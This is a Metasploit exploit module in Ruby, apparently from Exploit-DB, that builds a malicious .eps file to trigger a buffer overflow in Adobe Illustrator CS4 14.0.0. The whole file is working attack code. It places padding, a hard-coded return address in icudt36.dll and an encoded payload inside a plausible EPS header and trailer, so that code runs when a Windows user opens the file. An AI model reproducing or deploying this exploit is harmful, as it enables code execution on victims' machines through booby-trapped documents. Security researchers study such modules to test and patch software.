Adobe Illustrator CS4 14.0.0 - eps Universal Buffer Overflow (Metasploit)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
        
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe Illustrator CS4 v14.0.0',
			'Description'    => %q{
					Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps)
    overlong DSC Comment Buffer Overflow Exploit 
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'dookie, original by Nine:Situations:Group::pyrokinesis' ],
			'Version'        => '$Revision: 7724 $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/10281' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},					
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0D\x0C\x0A",
					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					[ 'Windows Universal', { 'Ret' => 0x4B4B5173 } ], # CALL ESI in icudt36.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 03 2009',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME',   [ false, 'The file name.',  '9sg.eps']),
				], self.class)

	end

	def exploit
		
		header = "\xc5\xd0\xd3\xc6\x20\x00\x00\x00\x05\xc8\x04\x00\x00\x00"
		header << "\x00\x00\x00\x00\x00\x00%\xc8\x04\x00\xb5I\x01\x00\xff"
		header << "\xff\x00\x00"
		header << "%!PS-Adobe-3.1\x20EPSF-3.0\r\n"
		header << "%ADO_DSC_Encoding:\x20Windows\x20Roman\r\n"
		header << "%"
		sploit = rand_text_alpha(41699)
		sploit << [target.ret].pack('V')
		sploit << rand_text_alpha(2291)
		sploit << "%Title:\x20Untitled-1.eps\r\n"
		sploit << "%AAAAAAAA"
		sploit << payload.encoded
		trailer = ": A\r\n"
		trailer << "%%For:\x20alias\r\n"
		trailer << "%%CreationDate:\x2011/27/2009\r\n"
		trailer += "%%BoundingBox:\x200\x200\x20227\x20171\r\n"
		trailer += "%%HiResBoundingBox:\x200\x200\x20226.5044\x20170.3165\r\n"
		trailer += "%%CropBox:\x200\x200\x20226.5044\x20170.3165\r\n"
		trailer += "%%LanguageLevel:\x202\r\n"
		trailer += "%%DocumentData:\x20Clean7Bit\r\n"
		trailer += "%ADOBeginClientInjection:\x20DocumentHeader\x20\"AI11EPS\"\r\n"
		trailer += "%%AI8_CreatorVersion:\x2014.0.0\r"
		trailer += "%AI9_PrintingDataBegin\r"
		trailer += "%ADO_BuildNumber:\x20Adobe\x20Illustrator(R)\x2014.0.0\x20x367\x20R\x20agm\x204.4890\x20ct\x205.1541\r"
		trailer += "%ADO_ContainsXMP:\x20MainFirst\r"
		trailer += "%AI7_Thumbnail:\x20128\x2096\x208\r"
		trailer += "%%BeginData:\x204096\x20Hex\x20Bytes\r"
		trailer += "%0000330000660000990000CC0033000033330033660033990033CC0033FF\r\n"
			
		eps = header + sploit + trailer

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(eps)   

	end

end